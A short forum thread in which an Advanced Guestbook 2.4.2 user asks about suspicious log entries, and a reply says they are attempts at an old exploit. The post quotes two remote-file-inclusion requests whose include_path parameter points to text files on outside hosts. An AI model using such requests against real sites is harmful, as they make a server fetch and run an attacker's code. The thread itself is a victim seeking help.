vulnerability

A while ago I downloaded Advance Guest Book 2.4.2 to my website. For some time now, AWSTATS has shown a lot of visits to the admin.php, index.php and image.php pages of the guestbook, mainly by robots. It also indicates a lot of referrals to my site from strange sites (usually on-line gaming or similar) which have no logical relationship with my site (genealogy and trekking). I checked out site visitors via CPANEL and found addresses of the type below
/xfile1/admin.php?include_path=http://randycute.com/zfxid1.txt??
/xfile1/admin.php?include_path=http://www.cyber-marche.fr/media/fx29id.txt??

/xfile/admin.php is the admin page of Advanced Guestbook 2.4.2 on my site - the rest seems to be a redirect to a different site - which look a bit suspect to me. I certainly have not placed an such pathways.

Can you tell me what could be happening? Is there a vulnerability in Advanced Guestbook that is being exploited by dodgy sites? If there is a problem, has it been resolved in a leter version of Advanced Guestbook?

Thanks for any help.

They are trying to use an exploit that existed a few years ago.

Thanks Carbonize,

I guess that I should upgrade to 2.4.4 or Lazarus to make the site a bit more secure.